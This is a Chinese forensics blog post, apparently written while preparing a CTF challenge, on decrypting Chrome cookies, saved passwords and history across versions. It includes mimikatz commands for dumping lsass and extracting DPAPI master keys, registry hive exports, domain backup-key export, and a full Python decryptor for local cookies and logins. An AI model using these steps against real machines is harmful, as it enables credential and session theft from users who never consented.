电子取证中Chrome各版本解密Cookies、LoginData账号密码、历史记录

文章目录

    • 1.前置知识点
    • 2.对于80.X以前版本的解密
      • 拿masterkey的几种方法
        • 方法一 直接在目标机器运行Mimikatz提取
        • 方法二 转储lsass.exe 进程从内存提取masterkey
        • 方法三 导出SAM注册表 提取user hash 解密masterkey文件(有点麻烦不太推荐)
        • 方法四 已知用户密码(或hash) 用户SID(masterkey路径) 拿到加密后的masterkey文件
        • 方法五 通过域管理员导出backup key 恢复Master key
      • 使用masterkey离线解密cookies\logindata
    • 3.对于80.X以后版本的加密过程分析
    • 解密脚本(支持所有版本)
    • History解析

本来想以Chrome的内存取证为基础出Misc题的,但是出题过程中对于各个数据的解密碰到诸多问题,发现网上也没有一个很好的总结性文章,索性简单研究总结记录一下

这里实验所使用的浏览器都为Google Chrome,理论上Chrome内核的浏览器应该都可以,主要针对windows操作系统

80.X版本以前的chrome可以在commondatastorage.googleapis.com/chromium-browser-snapshots/index.html?prefix=Win_x64/下载到

本文所使用的是commondatastorage.googleapis.com/chromium-browser-snapshots/index.html?prefix=Win_x64/704086/,对应版本是79.0.3938.0

1.前置知识点

Chrome的重要存储文件有如下:

  • Cookies文件:记录了用户的cookie信息,本质为sqlite数据库

    • 80.X版本以前位于%localappdata%\Chromium\User Data\Default\Cookies
    • 80.X版本以后位于%localappdata%\Google\Chrome\User Data\Default\Cookies
    • 至少是110.X版本以后%localappdata%\Google\Chrome\User Data\Default\Network\Cookies
  • History文件:记录了访问历史记录,本质为sqlite数据库

    • 80.X版本以前位于%localappdata%\Chromium\User Data\Default\History
    • 80.X版本以后位于%localappdata%\Google\Chrome\User Data\Default\History
  • Login Data文件:记录了用户保存的用户名密码,本质为sqlite数据库

    • 80.X版本以前位于%localappdata%\Chromium\User Data\Default\Login Data
    • 80.X版本以后位于%localappdata%\Google\Chrome\User Data\Default\Login Data
  • Local State文件:密钥文件,本质为json

    • 80.X版本以前位于%localappdata%\Chromium\User Data\Local State
    • 80.X版本以后位于%localappdata%\Google\Chrome\User Data\Local State

以上文件路径不一定完全正确并未测过所有版本,但基本上大差不差

在chrome中对于cookieslogin data的文件加密在windows中根据版本不同主要分为两种加密方式DPAPIAES-256-GCM

  • 1、没有以v10v11为前缀的加密值,主要是在80.X版本以前,为DPAPI加密

  • 2、以v10v11为前缀的加密值,主要是在80.X版本以后,为AES-256-GCM加密

可以使用DB Browser for SQLite或者Navicat查看数据库内容

80版本以后的v10前缀加密:

image-20231213082026448

80版本以前的无v10前缀(也可能有,但加密算法没变,v10后文会提到只是一个iv值),前缀似乎是固定的0x010000(不确定)

image-20231213090112852

2.对于80.X以前版本的解密

对于80以前版本的,采用了DPAPI加密,简单抄抄一下DPAPI:

DPAPI是Windows系统级对数据进行加解密的一种接口无需自实现加解密代码微软已经提供了经过验证的高质量加解密算法提供了用户态的接口对密钥的推导存储数据加解密实现透明并提供较高的安全保证

DPAPI提供了两个用户态接口CryptProtectData加密数据CryptUnprotectData解密数据加密后的数据由应用程序负责安全存储应用无需解析加密后的数据格式。但是加密后的数据存储需要一定的机制因为该数据可以被其他任何进程用来解密当然CryptProtectData也提供了用户输入额外数据来参与对用户数据进行加密的参数但依然无法放于暴力破解。

总体来说程序可以使用DPAPI来对自己敏感的数据进行加解密也可持久化存储程序或系统重启后可解密密文获取原文。如果应用程序对此敏感数据只是暂存于内存为了防止被黑客dump内存后进行破解也对此数据无需进行持久化存储微软还提供了加解密内存的接口CryptProtectMemoryCryptUnprotectMemory。加解密内存的接口并可指定Flag对此内存加解密的声明周期做控制详细见Memory加密及优缺点章节

对于其解密相对来说比较简单,这里主要采用mimikatz进行解密

如果有目标用户的桌面权限,先privilege::debug提权

然后直接使用命令

dpapi::chrome /in:"%localappdata%\Chromium\User Data\Default\Cookies" /unprotect

image-20231213113050511

如果脱机的时候解密(这里使用我win7虚拟机的cookies),会提示报错,需要对应guid的Masterkey

image-20231213110722158

Master Key:

64字节,用于解密DPAPI blob,使用用户登录密码、SID和16字节随机数加密后保存在Master Key file中

Master Key file:

二进制文件,可使用用户登录密码对其解密,获得Master Key

分为两种:

·用户Master Key file,位于%APPDATA%\Microsoft\Protect\%SID%

·系统Master Key file,位于%WINDIR%\System32\Microsoft\Protect\{sid}\User

Preferred文件:

位于Master Key file的同级目录,显示当前系统正在使用的MasterKey及其过期时间,默认90天有效期

拿masterkey的几种方法

方法一 直接在目标机器运行Mimikatz提取
privilege::debug
sekurlsa::dpapi

(需目标用户已登陆)

image-20231213113818088

方法二 转储lsass.exe 进程从内存提取masterkey

如果目标用户已经登陆 lsass进程的内存中会存在masterkey 转储之 使用Mimikatz提取

procdump.exe -accepteula -ma lsass.exe 666.dmp
sekurlsa::minidump lsass.dmp
sekurlsa::dpapi

这里dump下来win7转到物理机中获取
请添加图片描述

方法三 导出SAM注册表 提取user hash 解密masterkey文件(有点麻烦不太推荐)

SYSTEM权限

reg save HKLM\SYSTEM SS.hiv
reg save HKLM\SECURITY SE.hiv

m/u 值解密Masterkey文件

mimikatz log "lsadump::secrets /system:SS.hiv /security:SE.hiv"

拿到DPAPI_SYSTEM m/u 后半部分的值 (HASH)

这种方法对应MASTERKEY位置在C:\Windows\System32\Microsoft\Protect\S-1-5-18\{GUID}

dpapi::masterkey /in:C:\Windows\System32\Microsoft\Protect\S-1-5-18\{GUID} /system:HASH

即可拿到masterkey

方法四 已知用户密码(或hash) 用户SID(masterkey路径) 拿到加密后的masterkey文件

这是当时 volatility内存取证题遇到的问题,做内存题用这个方法很好用,原理其实跟方法二没差

先mimikatz获取获取用户密码

image-20231213115837820
接着找到masterkey文件位置

这种方法的文件位置在C:\Users{username}\AppData\Roaming\Microsoft\Protect\{SID}\{GUID}

image-20231213120001716

dpapi::masterkey /in:{masterkeyfile} /sid:{sid} /password:{password} /protected

image-20231213120155237

/password可以用/hash:密码hash代替(NTLM or SHA1)(存疑,没成功过)
即可拿到masterkey

方法五 通过域管理员导出backup key 恢复Master key

利用条件:目标机器加入域 要拿的是域用户的key 拿到域管理员权限

lsadump::backupkeys /system:123.com /export

(需要域管理员权限) 导出domain backup key

dpapi::masterkey /in:"C:\Users\spotless.OFFENSE\AppData\Roaming\Microsoft\Protect\{sid}\{guid}" /pvk:ntds_capi_0_d2685b31-402d-493b-8d12-5fe48ee26f5a.pvk

即可拿到masterkey

使用masterkey离线解密cookies\logindata

dpapi::chrome /in:{Cookies} /masterkey:{masterkey} /unprotect

mimikatz会自动储存masterkey和guid对应值,其实可以直接自动解密

image-20231213120628588

3.对于80.X以后版本的加密过程分析

80版本以后的cookies是没法再用masterkey来解密的,提前挖个坑,80版本后基本上失去脱机解密的可能性了,不知道以后有没有机会填坑

直接解会提示报错没有正确的aes的key,80版本后加密变成了aes256gcm

image-20231213121724756

对于cookies和logindata的加密过程详细解析参考

Chrome浏览器Cookie及密码解密的分析过程及Java实现(Windows平台下v10及以上Cookie文件encrypted_value及Login Data文件password_value的解密)-进城务工人员小梅 (meilongkui.com)

查看chrome的加密源码os_crypt_unittest.cc - Chromium Code Search

image-20231213133800964

os_crypt_win.cc文件里记录了具体加密过程,可以看到是用localstate文件内读取了key

image-20231213124112380

image-20231213124248889

结合源码可以看到这个encrypted_key是base64加密,且以DPAPI为开头的结果

在这里插入图片描述

密钥和NONCE/IV的长度也被记录在开头

image-20231213124512267

解密方法也写在同文件里了

image-20231213124745928

可以看出,encrypted_value的前缀v10后为12字节的NONCE(IV),然后再是真正的密文。Chrome使用的是AES-256-GCMAEAD对称加密,使用BoringsSSL实现:

image-20231213133938776

image-20231213134021445

GCM_TAG_LENGTH=16

image-20231213134105522

解密脚本(支持所有版本)

# -*- coding=utf-8 -*-
import os
import sqlite3
import json
import base64
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
import ctypes
from ctypes import wintypes# 定义cookie、localstate、logindata三个文件的位置
cookie_path = os.path.expanduser(os.path.join(os.environ['LOCALAPPDATA'], r'Google\Chrome\User Data\Default\Network\Cookies'))local_state_path = os.path.join(os.environ['LOCALAPPDATA'], r"Google\Chrome\User Data\Local State")login_data_path =os.path.expanduser(os.path.join(os.environ['LOCALAPPDATA'], r'Google\Chrome\User Data\Default\Login Data'))# cookie_path = os.path.expanduser(os.path.join(
#     os.environ['LOCALAPPDATA'], r'Chromium\User Data\Default\Cookies'))
# local_state_path = os.path.join(
#     os.environ['LOCALAPPDATA'], r"Chromium\User Data\Local State")
# login_data_path =os.path.expanduser(os.path.join(
#     os.environ['LOCALAPPDATA'], r'Chromium\User Data\Default\Login Data'))class AES_GCM:@staticmethoddef encrypt(cipher, plaintext, nonce):cipher.mode = modes.GCM(nonce)encryptor = cipher.encryptor()ciphertext = encryptor.update(plaintext)return cipher, ciphertext, nonce@staticmethoddef decrypt(cipher, ciphertext, nonce):cipher.mode = modes.GCM(nonce)decryptor = cipher.decryptor()return decryptor.update(ciphertext)@staticmethoddef get_cipher(key):cipher = Cipher(algorithms.AES(key), None, backend=default_backend())return cipherdef dpapi_decrypt(encrypted):class DATA_BLOB(ctypes.Structure):_fields_ = [('cbData', wintypes.DWORD),('pbData', ctypes.POINTER(ctypes.c_char))]try:p = ctypes.create_string_buffer(encrypted, len(encrypted))blobin = DATA_BLOB(ctypes.sizeof(p), p)blobout = DATA_BLOB()retval = ctypes.windll.crypt32.CryptUnprotectData(ctypes.byref(blobin), None, None, None, None, 0, ctypes.byref(blobout))if not retval:raise ctypes.WinError()result = ctypes.string_at(blobout.pbData, blobout.cbData)return resultexcept Exception as e:print(f"Error in dpapi_decrypt: {e}")return Nonedef get_key_from_local_state():with open(local_state_path, encoding='utf-8', mode="r") as f:jsn = json.loads(str(f.readline()))return jsn["os_crypt"]["encrypted_key"]def aes_decrypt(encrypted_txt):encoded_key = get_key_from_local_state()encrypted_key = base64.b64decode(encoded_key.encode())encrypted_key = encrypted_key[5:]key = dpapi_decrypt(encrypted_key)nonce = encrypted_txt[3:15]cipher = AES_GCM.get_cipher(key)return AES_GCM.decrypt(cipher, encrypted_txt[15:], nonce)def chrome_decrypt(encrypted_txt):if encrypted_txt[:4] == b'x01x00x00x00':decrypted_txt = dpapi_decrypt(encrypted_txt)return decrypted_txt.decode()elif encrypted_txt[:3] == b'v10':decrypted_txt = aes_decrypt(encrypted_txt)return decrypted_txt[:-16].decode()def query_cookie(host):if host:sql = f"select host_key, name, encrypted_value from cookies where host_key = '{host}'"else:sql = "select host_key, name, encrypted_value from cookies"with sqlite3.connect(cookie_path) as conn:result = conn.execute(sql).fetchall()return resultdef query_logindata(url):if url:sql = f"select origin_url, username_value, password_value from logins where origin_url = '{url}'"else:sql = "select origin_url, username_value, password_value from logins"with sqlite3.connect(login_data_path) as conn:result = conn.execute(sql).fetchall()return resultif __name__ == '__main__':print("Decrypt Cookies:")cookies = query_cookie("chat.openai.com") # 可以传入参数筛选指定host_keyfor data in cookies:cok = data[0], data[1], chrome_decrypt(data[2])print(cok)print()print("Decrypt Login Data:")logindata = query_logindata("") # 可以传入参数筛选指定urlfor data in logindata:login = data[0], data[1], chrome_decrypt(data[2])print(login)

解析结果还不错
image-20231213141516280

由于其中对Locat Stateencrypt_keyDPAPI解密似乎是绑定操作系统本身环境的,尝试了各种方法暂未能够在更换主机的情况下解密encrypt_key

image-20231213141651483

History解析

history里面还是记录了很多东西的,包括访问历史记录、下载记录等等

但是都是以明文记录的,这里也就不做过多解释了

在内存取证中推荐一个volatility2的插件superponible/volatility-plugins: Plugins I’ve written for Volatility (github.com)

其中的chromehistory对chrome历史记录的解析还可以

image-20231213143612234

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/219356.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

插入算法(C语言)

#include<cstdio> #include<iostream> #define N 9 using namespace std; int main() {int arr[N1] { 1,4,7,13,16,19,22,25,280 }; int in,i,j;//要插入的数字//打印要插入数字的数组所有元素printf("插入前的数组: ");for ( i 0; i <N; i){print…

STM32G030C8T6:使用外部晶振配置LED灯闪烁

本专栏记录STM32开发各个功能的详细过程&#xff0c;方便自己后续查看&#xff0c;当然也供正在入门STM32单片机的兄弟们参考&#xff1b; 本小节的目标是&#xff0c;使用STM32G030C8T6单片机&#xff0c;通过STM32CubeMX软件&#xff0c;配置并使用外部8MHz晶振&#xff0c;实…

6. Service详解

6. Service详解 文章目录 6. Service详解6.1 Service介绍6.2 Service类型6.3 Service使用6.3.1 实验环境准备6.3.2 ClusterIP类型的Service6.3.3 HeadLess类型的Service6.3.3.1 deployment和statefulset区别6.3.3.2 statefulset deployment 区别 6.3.4 NodePort类型的Service6.…

联邦蒸馏领域中,有哪些有意思的工作

联邦蒸馏领域中&#xff0c;有哪些有意思的工作 王婆卖瓜&#xff0c;自卖自夸。这个博客&#xff0c;我简要向大家推荐一下自己近期在联邦蒸馏方面的研究工作&#xff0c;按照心目中创新度从高到低进行排序&#xff0c;与工作的扎实程度以及发表的会议期刊等级无关。如有不妥…

扩展操作码指令格式

指令 操作码地址码 \quad \quad 判断几地址指令 开头4位不是全1, 则表示是三地址指令 开头4位全1, 后面4位不是全1, 则为二地址指令 前面12全1, 则为零地址指令 当然啦这只是一种扩展方法, 如果想扩展更多, 可以将1110留作扩展操作码 较短的操作码, 我们对它的译码和分析的时间…

测试:HTTP请求中,请求头(Headers)

请求头字段及其用途 在HTTP请求中&#xff0c;请求头&#xff08;Headers&#xff09;是包含了关于客户端环境和请求本身的信息的数据结构&#xff0c;它在每次请求时都会被发送到服务器。 请求头的字段非常多样&#xff0c;以下是一些常见的请求头字段及其用途的详细说明&am…

点云几何 之 判断某一点是否在三角形的边上(3)

点云几何 之 判断某一点是否在三角形的边上&#xff08;3&#xff09; 一、算法介绍二、算法实现1.代码2.结果 总结 一、算法介绍 判断某一点是否在三角形的边上 之前已经介绍了点在三角形的内外判断方法&#xff0c;这里增加点恰好在三角形边上的判断方法 &#xff08;本质上…

节流防抖:提升前端性能的秘密武器(上)

&#x1f90d; 前端开发工程师&#xff08;主业&#xff09;、技术博主&#xff08;副业&#xff09;、已过CET6 &#x1f368; 阿珊和她的猫_CSDN个人主页 &#x1f560; 牛客高级专题作者、在牛客打造高质量专栏《前端面试必备》 &#x1f35a; 蓝桥云课签约作者、已在蓝桥云…

vue3使用mars3d实现地图轮播高亮,且每个区域颜色不一样

效果图(珙县就是轮播高亮的效果) 思路:初始化一张完整的地图&#xff0c;然后定时器去挨个生成每个县上的地图&#xff0c;并且覆盖在原来的位置&#xff0c;每到一定的时间&#xff0c;就清除之前生成高亮图并且生成下一张高亮图 如何引入地图 上篇文章已详细发过 略 父组…

【JavaWeb学习笔记】7 - Servlet入门开发

零、在线文档 Servlet 3.1 API Documentation - Apache Tomcat 8.0.53 一、Servlet基本介绍 1.为什么出现Servlet 提出需求:请用你现有的html css javascript&#xff0c;开发网站&#xff0c;比如可以让用户留言/购物/支付,你能搞定吗? 不能 这几个不能直接操作数据库 …

Java 语言关键字

Java关键字是电脑语言里事先定义的&#xff0c;有特别意义的标识符&#xff0c;有时又叫保留字&#xff0c;还有特别意义的变量。Java的关键字对Java的编译器有特殊的意义&#xff0c;他们用来表示一种数据类型&#xff0c;或者表示程序的结构等&#xff0c;关键字不能用作变量…

20231213给Ubuntu18.04.6LTS新加一块HDD机械硬盘

20231213给Ubuntu18.04.6LTS新加一块HDD机械硬盘 2023/12/13 22:50 rootrootrootroot-X99-Turbo:~$ cat /etc/issue Ubuntu 18.04.6 LTS \n \l sudo fdisk -l rootrootrootroot-X99-Turbo:~$ rootrootrootroot-X99-Turbo:~$ sudo fdisk -lu Disk /dev/sda: 2.7 TiB, 300059298…

【源码解析】flink sql执行源码概述:flink sql执行过程中有哪些阶段,这些阶段的源码大概位置在哪里

文章目录 一. sql执行流程源码分析1. Sql语句解析成语法树阶段&#xff08;SQL - > SqlNode&#xff09;2. SqlNode 验证&#xff08;SqlNode – >Operation&#xff09;3. 语义分析&#xff08;Operation - > RelNode&#xff09;4. 优化阶段&#xff08;RelNode - &…

LangChain 25: SQL Agent通过自然语言查询数据库sqlite

LangChain系列文章 LangChain 实现给动物取名字&#xff0c;LangChain 2模块化prompt template并用streamlit生成网站 实现给动物取名字LangChain 3使用Agent访问Wikipedia和llm-math计算狗的平均年龄LangChain 4用向量数据库Faiss存储&#xff0c;读取YouTube的视频文本搜索I…

Java中的多态到底是什么?

Java中的多态到底是什么&#xff1f; 在Java中&#xff0c;多态是面向对象编程中的一个重要概念&#xff0c;它有助于提高代码的灵活性和可维护性。多态分为编译时多态和运行时多态。 编译时多态&#xff08;静态多态&#xff09;&#xff1a; 编译时多态是指在编译阶段确定方…

2023全国大学生数据分析大赛A题完整论文教学

大家好呀&#xff0c;从发布赛题一直到现在&#xff0c;总算完成了全国大学生数据分析大赛A题某电商平台用户行为分析与挖掘完整的成品论文。 本论文可以保证原创&#xff0c;保证高质量。绝不是随便引用一大堆模型和代码复制粘贴进来完全没有应用糊弄人的垃圾半成品论文。 实…

透析回溯的模板

关卡名 认识回溯思想 我会了✔️ 内容 1.复习递归和N叉树&#xff0c;理解相关代码是如何实现的 ✔️ 2.理解回溯到底怎么回事 ✔️ 3.掌握如何使用回溯来解决二叉树的路径问题 ✔️ 回溯可以视为递归的拓展&#xff0c;很多思想和解法都与递归密切相关&#xff0c;在很多…

Windows 网络监控的内容和方式

Microsoft Windows是使用最广泛的操作系统之一&#xff0c;受到全球用户的青睐&#xff0c;Windows 设备与许多进程、服务和事件相关联&#xff0c;这些进程、服务和事件通常需要从单个控制台进行跟踪&#xff0c;这就是 Windows 网络监控工具派上用场的地方。Windows 网络监控…

项目总结-自主HTTP实现

终于是写完了&#xff0c;花费了2周时间&#xff0c;一点一点看&#xff0c;还没有扩展&#xff0c;但是基本功能是已经实现了。利用的是Tcp为网络链接&#xff0c;在其上面又写了http的壳。没有使用epoll&#xff0c;多路转接难度比较高&#xff0c;以后有机会再写&#xff0c…